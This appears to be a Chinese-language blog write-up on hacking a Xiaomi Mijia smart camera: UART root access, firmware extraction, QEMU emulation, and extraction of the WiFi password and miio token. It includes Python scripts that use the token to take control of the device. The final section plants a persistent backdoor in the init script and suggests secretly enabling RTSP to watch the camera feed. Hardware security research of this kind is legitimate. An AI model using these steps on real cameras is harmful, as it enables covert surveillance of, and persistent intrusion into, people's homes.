目录
  1. 1. 大致分析
  2. 2. 脱库
  3. 3. qemu模拟
  4. 4. 代码审计
  5. 5. 后记
米家小白智能摄像头分析

大致分析

拿到摄像头第一步,拆机,看看有没有uart调试口,找一下flash芯片

小米做的是真的好,不太好拆,可参考硬核拆解

https://www.bilibili.com/video/BV1d4411G7vu?t=64

http://www.eepw.com.cn/article/201608/295287.htm

拆完可以看到,这么大的NOR Flash,一般的编程器提取不了,需要更专业的设备。

image-20200807110220255

uart调试口一般都在flash的附近,仔细观看。正面没有,看看反面

这里有一个坑点,有两个Rx,Tx口。经过测试如下已经焊接上的口是真正的,而另一个接上没反应。

image-20200807111406761

用SecureCRT接上,波特率选择115200

image-20200807133925437

连上之后,没有做用户认证,直接就进来了。看了下开启的端口,有些怪异的地方

23端口运行着 linuxrc ,这应该是防止开启telnetd服务吧

而且没有开启554端口的rtsp服务来传输视频,可能用的别的服务吧

image-20200807122344393

百度了一下运行的程序

其中24883端口的pulseaudio是一个声音服务器,用来传输声音的

摄像头内网1883端口的mosquitto是一款实现了消息推送协议 MQTT v3.1 的开源消息代理软件,用来传输监控视频的

而且他传输视频不像普通摄像头那么简单,我把他进程杀的差不多了,手机还能看到监控视频

而54321端口运行的是小米的miio协议,可参考https://github.com/OpenMiHome/mihome-binary-protocol/blob/master/doc/PROTOCOL.md

image-20200807140936533

针对这个端口python已经有攻击的库了,可参考https://github.com/rytilahti/python-miio,

image-20200807142959137

image-20200807142031135

难受的是现在还不支持小白摄像头,只能自己分析一下了

脱库

可以看到我们想要分析的程序在 ./usr/bin/目录下

image-20200807144200666

busybox刚好自带httpd服务,默认是不开器的,我们把它打开,用来传输文件

把 ./usr 目录 和 ./lib 目录都压缩一下

1
2
3
busybox httpd
tar -zcvf usr.tar.gz ./usr
tar -zcvf lib.tar.gz ./lib

然后wget下来,进行解压 tar -zxvf usr.tar.gz

image-20200807145210801

qemu模拟

找到了摄像头的初始化脚本,可以看到程序的启动方式/usr/bin/mosquitto -c /etc/mosquitto/mosquitto.conf -d

/usr/bin/miio_client -D

使用qemu模拟,先把mosquitt跑起来,再跑 miio_client

image-20200807150954939

image-20200807151142230

然后向54321发送udp数据,可以看到成功接收到

image-20200807155050870

代码审计

根据一些字符串可以快速定位到代码

image-20200807155620286

可以分析出传输的数据是json格式的,比如

1
{"id":1,"method":"get_prop","params":["night_state","night_beg_time","night_end_time"]}

而且需要认证ID

image-20200807160052510

可以看到有很多配置method

image-20200807155838345

进入miIo.config_router方法可以看到接收的数据都是用json_object_object_add函数来匹配接收的,

代码写的很好,没有发现什么栈溢出漏洞

image-20200807163002510

但还是能分析出来一些敏感信息,wifi的连接密码

image-20200807165114652

miio的配置文件

image-20200807164907414

miio的验证token

image-20200807165257875

通过这个token就可以控制摄像头,先安装python-miio方便利用

1
pip3 install python-miio

目前这个库还不支持这款摄像头,需要自己再改写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
#-*-coding:utf8-*-
import codecs
import socket
from protocol import Message

helobytes=bytes.fromhex('21310020ffffffffffffffffffffffffffffffffffffffffffffffffffffffff')
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(helobytes,('192.168.137.159',54321))#插座ip,端口54321
data,addr=s.recvfrom(1024)
m=Message.parse(data)
tok=codecs.encode(m.checksum,'hex')
print(m)
print(tok)
1
2
3
4
5
import miio
ip='192.168.137.159'
token='6ECM1qxqXi0VkF4t'
s = miio.device.Device(ip=ip, token=token)
s.info()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#-*-coding:utf8-*-
from miio.chuangmi_plug import ChuangmiPlug
ip='192.168.137.159'
token='6ECM1qxqXi0VkF4t'
d = ChuangmiPlug(ip=ip, token=token)

x=d.status() # 给出设备的状态
# x: <ChuangmiPlugStatus power=True, usb_power=None, temperature=46, load_power=None, wifi_led=None>
# x.power = True
x=d.info()
# type(z)
# miio.device.DeviceInfo
# print(z)
# chuangmi.plug.m3 v1.3.8_0002 (04:CF:8C:5F:**:**) @ 192.168.1.20 - token: *****
x=d.off()
# x = ['ok'] 则 控制成功
x=d.on()
# x = ['ok'] 则 控制成功

后记

这个系统竟然可改写,我之前遇见过的摄像头都是不可改写系统。

image-20200807193009019

修改一下初始化脚本,植入后门。这里要修改最初始的脚本,如果修改 usr/imi/start.sh重启后会复原

1
vi /usr/local/bin/run.sh

image-20200807200653949

重启一下,连接成功。经检测重置之后后门依然有效

image-20200807200400625

而且发现了rtsp_server,再把这个服务悄悄放到初始化脚本里,这样不就随便看监控视频了吗

image-20200807202247047

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/07/21/米家小白智能摄像头分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝